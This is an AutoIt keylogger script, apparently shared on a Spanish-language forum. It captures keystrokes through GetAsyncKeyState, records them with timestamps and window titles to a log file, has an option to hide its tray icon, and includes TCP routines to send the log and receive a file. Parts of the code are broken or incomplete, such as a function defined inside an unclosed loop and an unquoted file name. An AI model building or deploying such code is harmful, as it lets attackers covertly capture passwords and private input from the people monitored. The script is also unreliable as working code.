$hDll = DllOpen("user32.dll");
$window2=""
$date=@year&@mon&@mday
$log= "c:\logfiles\"
$silent=0
DirCreate ($log)
HotKeySet("^!", "Terminate")
if $silent=0 Then traytip("Keylogger","Keylogger Activated","",1)
Opt("TrayIconHide", $silent)

Func _IsPressed($hexKey)
Local $aR, $bRv
$aR = DllCall($hDll, "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then
    $bRv = 1
Else
    $bRv = 0
EndIf

Return $bRv
EndFunc

$file = FileOpen($log&"\log.htm", 1)
If $file = -1 Then
  Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")

Func Terminate()
if $silent=0 Then traytip("Keylogger","Keylogger Deactivated",15,3)
    sleep(100)
    Exit 0
EndFunc

Opt("OnExitFunc","Terminate")

While 1

If _IsPressed(0xBA) Then  ;~<------ puse solo 1 tecla como ej para no pegar c/u
_LogKeyPress('; ')
sleep(100)
EndIf

;~ Aquí se repiten todas las funciones para el resto de las teclas 

Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    Sleep(100)
Else

$window2=$window
FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
sleep (100)
Endif
EndFunc

Func sendfile()

Local $szConfirm = ""
Local $sock = -1
Local $data

TCPStartup()
$sock = TCPConnect(@IPAddress1, 403)
$fileopen = FileOpen(log.txt)
$data = FileRead($fileopen)
TCPSend($sock, $data)

While 1
    $szConfirm = TCPRecv($sock, 1024)
    If @error Or StringLen($szConfirm) Then
        TCPShutdown()
        ExitLoop
    EndIf
WEnd

EndFunc

Dim $iMainSocket = -1, $iSocket = -1
Dim $buffer = ""
Dim $bytes = -1
Dim $iRet = -1

TCPStartup()

$iMainSocket = TCPListen(@IPAddress1,403)

While 1
    If $iSocket = -1 Then
        $iRet = TCPAccept($iMainSocket)
        If Not @error Then $iSocket = $iRet
    Else
        $buffer &= TCPRecv($iSocket,1024)
        If $bytes = -1 And StringInStr($buffer,",") Then
            $bytes = StringLeft($buffer,StringInStr($buffer,",")-1)
            $buffer = StringTrimLeft($buffer,StringInStr($buffer,","))
        Else
            SplashTextOn("Receive","Receiving ...",200,40)
            If StringLen($buffer) = $bytes Then
                SplashOff()
                $FileReceived = FileSaveDialog("File save",@desktopdir,"All (*.*)")
                ExitLoop
            EndIf
        EndIf
    EndIf
WEnd

FileDelete($FileReceived)
FileWrite($FileReceived,$buffer)

MsgBox(4096,"","Transfer Complete")

TCPShutdown()